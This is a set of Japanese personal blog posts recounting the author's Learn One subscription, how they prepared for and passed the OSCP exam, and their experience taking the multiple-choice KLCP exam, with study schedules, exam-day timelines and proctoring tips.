- 自分のやりたいコースを除き、サブコンテンツ的なPG Practice、PEN-103、他のLevel100の基礎コンテンツ、PEN-210が有用であるか否かは受講される方のバックグラウンド次第かなと思います。目的がはっきりしている方は単一コンテンツの90日プランを選んだ方が費用対効果に優れている気がします(主観)。
- +1000ドルを高いと思うかどうかの観点になりますが、Learn Oneだとサブスク期間が365日と大幅に増え、Level100コンテンツ+希望コースの試験2回+PEN-210+PG Practiceという特典がつきますので、受験やその準備に対して安心感は多少得られるかもしれません。
- 私はPEN-103/PEN-210のいずれも不慣れな領域だったので、幅を広げるという観点でLearn Oneを選んだのですが、例えばKali Linuxの操作に慣れている、またはWi-Fiのペンテストなんか楽勝だろと思う方はKLCP/OSWPの取得は不要かもしれません。OSCPをゴールに設定する場合、やらなくても良いコンテンツです(ただし、KLCPは若干ですがOSCPラボあたりでのトラブルシューティングの補助にはなりました)。
- 断片的に幅広くかじってきた私としては、Learn OneはLevel100のコンテンツを含め、
お布施分を十分に回収できる素晴らしいコンテンツだと思いました。
他のLevel100やPG Practiceはまだ時間が残っているので、適宜触ろうと思います。
次は自分でexploit書けるようになりたいなぁと思う今日この頃。
OSCPに合格しました
ようやく長い旅路が終わり、認定されましたので多少のナレッジ共有です。レポート提出後ほぼ1日で合格通知が来ました(相場観として3日くらいなのであまりの剛速球に焦りました)。

合格体験記については他の人も大量に書いていると認識していますので、可能な限り差異となりそうな部分について書きます。
OSCPについては、受験される方がセキュリティ未経験の方だったり、熟練の方だったりとスキルセットは様々のようです。私は未経験ではないのですが、熟練と呼べるほどでもないので、そのような立場でどのようなことをやってきたのかについて共有したいと思います。
なぜOSCPを目指そうとしたか
- 現職マネージャ相当だが、マネージャ路線に進まないための布石を打つ
- 職場でドヤりたい(しょーもな)
- 知的好奇心(「$」より「#」で伝わりますでしょうか)
macbook相当の自費出費の取り返し
契約したプラン
細部はOffensive Security社のウェブサイトに書いてあり、様々な体験記をみると90日プランで契約された方が多いようですが、私は年間サブスクのLearn Oneを利用しました。
選んだ理由の主なポイントは以下の通りです。
- 昨年末に年間サブスクが$1,999で購読できた。
- 基礎内容の取りこぼしをしたくない&ADに不安があったので、PEN-100のコンテンツで準備しておきたかった。
※以前はPEN-100のコンテンツ内容も記載されていたのですが、見る限りでは公式からは省略されてしまったようです。個人でLearn Oneの学習履歴を書いておられる方の記事に、その断片が垣間見えるので参考になります。
blog.invid.eu
PEN-100の学習はOSCPに必須か?という点に答えるとするならば、「私の場合はそうでもない」という感じです。コンテンツ内容的には基礎であり、全部を知っているわけではなかったですが、バックグラウンド経験で大体知っていましたし、どちらかというとおさらい&英語の記事を読み慣れるといった場になりました。
私のバックグラウンド
OSCPへの不安要素としてバックグラウンドがどの程度かという観点があると思うので、改めて記述します。
- 本業は雑用をこなすマネージャー職。合間を見つけて趣味で手を動かす(コマンドを打つ)レベル
- CISSP/CISA/GPEN/KLCP
- LPIC-2→数年前に失効
- 英語は好きだが得意ではない、海外の情報をgoogle翻訳と対比させながらざっくり読む程度
- SOC/CSIRT業務を数年程度経験していた
- 趣味でCTF(GDBを動かしている)
- クラウドまわりの経験値は低い
- 診断(ペンテスト)のお仕事経験は実質3年目
今回はもちろんですがGPENが相当役に立ちました。なぜなら、OSCPでは細かく紹介してくれない、簡単に作業するTipsを多々利用できたことです。
受験にあたり準備したこと
私は他の方のようにセンスがあると自負していないので、地道にコンテンツを進める作戦を選びました。
<昨年>
- tryhackmeのJr Penetration Tester(だいたい1か月課金)
- Hack the Box:34マシン+Fortressesの一部、challengesのPwnを9個ほど(1~2か月、VIP契約)
<今年>
- PEN-103(KLCP)、約2か月
- PEN-100のコンテンツ全読&トピックエクササイズをコンプリート、約1か月
- PEN-200のPDF全読&トピックエクササイズ+レポートをコンプリート、約1か月強
- ラボ+ラボレポートのコンプリート(75マシン)、約1か月強
1日の平均としておそらく3~4時間以上はこれに費やしていたという実績に基づくものです。十分に時間を取れる、かつOSCPだけにしか興味が無い方は90日プランで良いかと思いますが、幅広くかつじっくりやりたい、もしくは時間の取れない方はLearn Oneの方が安心できると思います。
なお、フォーラムやdiscordを使えばラボのコンプリートは可能で、「そんなの知らんがな」と思うこともあったのですが、最終的には答えにたどり着くと思います。特に質問等もしませんでした。
- TJnullリストにあるPG PracticeのWindowsマシンを中心に18マシン(約2週間)
docs.google.com
www.offensive-security.com
ぶっちゃけこの時は、このマシンは全てWriteupを見ずにやったわけでもなく、試験では誰の力も借りれないということを考えると不安が募っていきましたw
- ラボPDFとラボマシンのおかわり(約1週間)
実はこの「おかわり」をやってよかったと感じています。ラボは共有マシンであり、チャレンジしている間に他者によって状態が変更されていて、数個マシンは想定解と異なった攻略ベクタを使っていたケースに気づきました。revertは実際の環境においてホイホイとできるものではないのですが、積極的に実施することをお勧めします。
試験の予約
ラボをコンプリートしてから、時間が経つと忘れそうという不安にかられ、できるだけ早く受けたい気持ちになりました。このため、受験可能な日の昼12時プレイボールの翌日11時45分ゲームセットを選定しました。この時間帯を選定した理由として、日付を優先して選んだのでまともな時間帯がそこしかなかったのです(笑)
試験直前
2~3日前になると、ラボをコンプリートしたこと、学習に時間をだいぶ溶かしたことから、気合入れて勉強するという一夜漬けの気持ちは一切なく、もやっとした気持ちが増幅したので、Youtubeを見てボーっと過ごしました。
私は「ルーティーン」を大事にしており、試験前日にはKLCPの時からやっているとんかつを食べ、酒は欠かさず飲みました。もちろん、早く寝ました。
試験当日
朝はぼやぼやしながら時間が来るのを待ち、15分前にProctorソフトウェアとWebカメラの準備を済ませ、VPNのセットアップを終えて12時ちょい過ぎからスタートしました。
中身については触れませんが、極度の緊張からか、やたらタイポするし、配点の高いADセット(AD×1、クライアント×2)を優先的に触ってもInitialうまくいかないし、他のマシンを触ってもうまくいかないし、時間だけが無情に過ぎていき、2時間が溶けて0点状態でした。
この日は敢えて家族を旅行に行かせたので、話す相手も近くにいないし、精神的に24時間試験のおかわりも耐えられないし、窓から外を眺めて絶望とはこういうことかと認識しました。
気持ちを切り替えようと努力して休憩を挟み、改めてマシンを見てみるとある情報に気づき、そこからは精神的余裕も生まれました。その後はラボの復習のような要素を感じて進んでいき、以下のような時間軸でした。
12時:プレイボール
15時:1マシン目のlocal.txt
16時:2マシン目のlocal.txt
19時:ADセットのproof.txt、晩飯休憩(喉を通りませんでしたがどうにか食べました)
20時:2マシン目のproof.txt
22時:3マシン目のlocal.txt&proof.txt
0時:寝る(アドレナリン大量放出でそんなに眠れず)
5時:シャワーを浴びて朝飯
6時:獲得したtxtの再現性チェック&コピペ、スクショ取り(だいたい3時間くらい?)
12時前:ゲームセット
18時:試験レポート+ラボレポート提出
Metasploitは使わず、22時点で90点?に到達し、完全クリアいけるかと思う時期もありましたが、どうしても1個マシンの権限昇格が成功せず、結局6時間程度ウサギの穴を掘り続けることになったのが悔やまれます(改めて振り返るとMetasploit使えばよかった)。
試験レポートは、比較的丁寧に書いたつもりですが、途中から細かく作るのが手間に感じたので、45ページ程度でフィニッシュです。
その他
- 試験レポート&ラボレポートについて
Markdownとか全く触っていなかったので、Snipping Toolをフル活用するとともに、試験レポートは公式が出しているWordをそのまま使いました。
ラボレポートについて、私は書くことを選択したのですが、時間を大量に奪われます。とはいいつつも、レポート作成やコンテンツで利用されている技術に慣れることができるので、実施してよかったかなと思っています。ページ数は350ページになりましたが、下記の公式記事では100ページ以内に収めることが推奨されていて愕然としています・・・w
www.offensive-security.com
- 試験でのメモまとめ
ラボも含めpentest.wsを課金して利用しました。PCFやfaradayでもそうなのですが、精神的に追い詰められている時こそ、目で見て直感的にわかりやすい「可視化」は大事と感じました。nmapのxmlを放り込むだけでポートのオープン/クローズがわかりやすくなります。また、ホスト名やOS名・バージョン、各ポートのサービス名なども書き込む欄があるので、Enum忘れ防止に役立ちました。下のリンクはHTBマシンの攻略に活用しているようです。4年前のものなので、UIが多少異なる点は御留意ください。
www.youtube.com
- 試験中のメモのバックアップという観点
先日突然pentest.wsでアプリケーションエラーが表示されて中身を触れないという事態(事前のメンテナンスなどのアナウンスも無し)を確認していたので、pentest.wsだけに頼り切るのも危ないと感じ、Onenoteも併用しました。チートシートはローカルでも使えるOnenoteで整理していました。
- ターミナルログについて
tmux使いでもなく、ターミナルを大量に開く私はscriptコマンドを使いませんでした。tcpdumpを常時開いたままにしていることや、出力が大量あるものから抽出するのも面倒と感じており、再現性チェックの時間を設けてきっちりとメモ+スクショを取ると決めていたためです。
- Offensive security社とSANS社のコンテンツの比較
これはいずれも一長一短といったところで、SANS社は特定の部分を深く掘り下げて丁寧に説明し、コンテンツも学生の意見を積極的に取り込んで刷新しています。また、Offensive security社はSANS社に比して幅が広いのですが「後は自分で調べておいてください」と常に言われている感覚があります。これこそ、続きは自分で勉強するというTry Harderの理念だと思いますが、いずれの会社も業界トップクラスの教育コンテンツを生み出していることには変わりありません。
- 英語について
翻訳ツールもだいぶ普及している現状では、受験にそこまで問題は無いと思います。ただし、「苦手だと時間がかかる」ことに変わりはなく、誤訳または誤ったニュアンスを伝えるリスクは避けられません。また、新しい技術になればなるほど日本語化されていないことを踏まえると、英語を学習するということは極めて重要であると認識しました。
- ラボマシンのダウン
これは様々な体験記に限らず言及されていることですが、スレッド数を適切に設定しない高速スキャンや、間違ったカーネルエクスプロイトをするとマシンがあっさり落ちます。実際のペネトレーションテストでそのようなことをやろうもんなら訴訟沙汰になりかねません。打つ手立てが無くなった際の最終奥義とすることや、十分な情報収集と検証を経た上で実施することを強く推奨します。
- OSCPがエントリークラスに位置付けられていること
これは結果論ですがその通りと感じました。現実世界ではアンチウイルスソフトや各種セキュリティ製品がある中でmimikatzが自由に使えるケースは比較的少ないかもしれません。
また、「中身の技術はよくわからないけどこんな手法が使える」という、漠然と攻撃手法を選んでしまうこともあったので、ちゃんと理解する、正しく人に説明するという点ではもう少し学習が必要とも理解しました。
やはり、自分でエクスプロイトを開発できる、セキュリティ製品を回避できると自信を持ちたいと、ラボの途中から思い始めていました。
まとめ
- 過去の合格体験記を掲載していただいた皆様に感謝します。同じように感じることとして、PEN-200のコンテンツをしっかりとやり、多少のことでは動じない精神力があれば問題ないという認識です。
- 「$」や「#」を得るために自ら勉強したいという気持ちがあれば、十分に受験要件が整っていると思います。
- shellダンスやrootダンスなんて誰がするかと思いましたが、これをやりたくなる気持ちがよくわかりましたw
- 家族には感謝です。
- やっとこれでmetasploit解禁です。
KLCPを受けてきました
Offensive Security社の年間サブスクであるLearn Oneに自費で申し込んだので、せっかくの機会と捉えて基礎固めも兼ねてKLCPの試験を受けてきました。
また、日本語記事が検索する限りではほぼないので、あえて書き残したいと思います。ひとまず、認定はされました。
- KLCPとは
- カリキュラムについて
- 試験の概要と流れ
- 私のバックグラウンド
- 取り組みのスケジュール感
- 実際に受けた試験での時間配分等
- 役に立った資料類
- 注意すべき事項
- おまけ(Proctoringについて)
- 感想やちょっとしたネタ
KLCPとは
Kali Linux Certified Professionalという、Kali Linuxのペンテスト用ディストリビューションをマスターしたことを証明する資格です。
リンクにも記載されているとおり、ペネトレーションテストの技量そのものを向上させるものではなく、Linuxの基礎やディストリビューションそのもののカスタマイズなどを行って、ペネトレーションテストの実施に寄与するための知識・技量を蓄えるといった考え方の方が正しいかと思います。
カリキュラムについて
ログイン不要な公式ページにおいてシラバスのようなものが見当たらず、上記ブログから引用すると端折りましたがこんな感じです。
- Linuxの基礎
- Kaliのインストール(フルディスク暗号化、プレシード(無人インストールのこと)、仮想マシンなど)
- 暗号化、永続化および「自己破壊」のオプションを含むポータブルUSBの作成
- Debianパッケージマネージャーを介してソフトウェアをインストール、削除、カスタマイズ、トラブルシューティング
- Kaliのトラブルシューティング(バグレポートなど)
- Kaliにおけるネットワークおよびファイルシステム操作(iptables操作、モニタリングなど)
- 独自のパッケージを作成し、独自のカスタムパッケージリポジトリをホスト
- 独自のカーネルをカスタマイズ、最適化および構築
- エンタープライズ環境でKaliLinuxをスケーリングおよびデプロイ
- KaliLinuxの複数インストールを管理・調整
試験の概要と流れ
公式はここですが、要約すると以下のとおりです。
- 90分で80問、ブラウザベースのClassMarkerというプラットフォーム。
- 多岐選択式
- 他の記事を見ると80%で合格(16問までしか間違えられない)。
- クローズブックで持ち込み不可(英語試験でこれが最もキツイ要因でした)
- Proctoringツールに接続後、注意事項の説明が行われる。
- 監督官がチャットでリンクを送信するので、そのリンクに進むとKLCPのページが表示される。
- アカウント登録とOS-IDを入れてボタンを押すと試験開始。
- 試験が終了すると、結果が即座に表示される。
- 試験に合格すれば、CertificateのPDFがダウンロードできる。加えて、KLCPデジタルバッジの申請手続きのメールが届く。
私のバックグラウンド
取り組みのスケジュール感
Offensive SecurityのポータルにLearn Oneのサブスク登録してからおよそ1か月かけて資料をぼちぼち翻訳しながら読み、2周目を0.5か月程度使ってざっと流し、主にコマンドを押さえつつ試験に臨みました。毎日1~2時間、休日は4~5時間くらい溶かした日もありました。
プラクティステストをかき集めると130問くらいあるので、まずはこれの回答を作成することも合わせて進めつつ、本番直前に実際の試験を想定して問題を解き、間違ったところの確認を行いました。
実際に受けた試験での時間配分等
ClassMarkerはピアソンなどの試験を受けていれば非常に直感的なUIであり、心配はいらないかと思います。
www.classmarker.com
試験開始から45分で一通り終了し、見直しをした後、30分を残して試験を終えました。英語がそんなに得意ではないのですが、決して難しい構文は出てこなかったので基本的な英語が理解できれば十分取り組める内容でした。
試験は80問中75問正解で無事合格しました。Certificateは即座にダウンロードできます。

役に立った資料類
昔は公式資料(プラクティスクイズを含む)が公開されていたようですが、陳腐化に伴い資料が消されてしまい、ポータル上の教育コンテンツに統合されているようです。逆に紹介している資料以上のものがほぼ無い感じでした。
web.archive.org
web.archive.org
www.gocertify.com
注意すべき事項
基本は公式資料の学習なのですが、以下の点についてお気を付けください。
- Kaliのディストリビューションの特性から修正頻度が早く、公式資料の更新が間に合っていない
- リンク切れあり
- 既にkaliのリポジトリから削除されたパッケージを紹介しているケース
- 時代の流れで採用するツール等が変わっている=どっちが正解かわかりにくい
- 日本語の翻訳ツールを使うと誤訳があり、英語がそのまま読めるなら訳さない方が良い(そうはいかない場合、日本語を読んだ後に英語で正しいかを確認する必要あり)
以上の理由から、google先生に教えを乞うなり、実際にKaliの環境を手探りで確認するなどが良いと思います。
おまけ(Proctoringについて)
手元の環境が3画面なので、OSCPを見越してピアソンで受験せずProctoringツールを使って受験しました。その時に注意する点として。
事前のProctoringツールのテストができるので初回の人は確実にやった方が良い。
proctoring@にテストをしたい旨を連絡するとテスト用IDがもらえます。ただし、ログインしてからのセッション有効期間が非常に短い(数十分?)のであらかじめマニュアルを読み込んで準備することをお勧めします。私は5日ほど前にテストし、カメラが2つあってうまくいかず焦りました。この場で問題が解決できてよかったです。
Janusプラグインで画面共有が正しく動作しているかを判断できない。
これはさすがに不安になってOffensive Security社に確認したところ、アサインされた監督官が判断するとのこと。これだけでも不安で当日トラブルを避けたかったので、下記サイトでテストしました。正常に動作していれば画面が出ます。
webrtc.github.io
感想やちょっとしたネタ
- OSCPには必須ではなく、知識として持っていると多少安心する程度。
- LPIC1/2+Kaliの独特な内容+Debianに慣れる試験、LPICのようなコマンド入力問題が無い分多少気楽。
- 合格は8割とハードルは高いが、試験自体はストレートな印象でCISSPのような2分の1からの選択ではない感じ。しっかり頭に叩き込めば大丈夫そう。
- ある程度成熟したペンテスターが独自のツールをパッケージングやホストしたいというケースにこの知識が有用か。
- 逆にテスターになり立ての人は基本的なLinuxの知識やapt(パッケージ操作のコマンド)の問題解決手順を押さえるという点で活用できる。ただ、カーネルの再構築やリパッケージングのところは修行感満載。
- ARMの演習をやるためにラズパイを買おうと思ったら高騰していて買えなかったw
- テスト予約をメールでする際、日本時間の〇時(UTC+9)といった表現で説明したことから、うまく理解されずに誤った時間を設定された。予約の際はJSTのことを考えずGMT/UTCの時間でしっかり説明しましょう(反省)。
さて、いよいよこれからOSCPの道に入ります。macbook相当の出費を取り返さないと。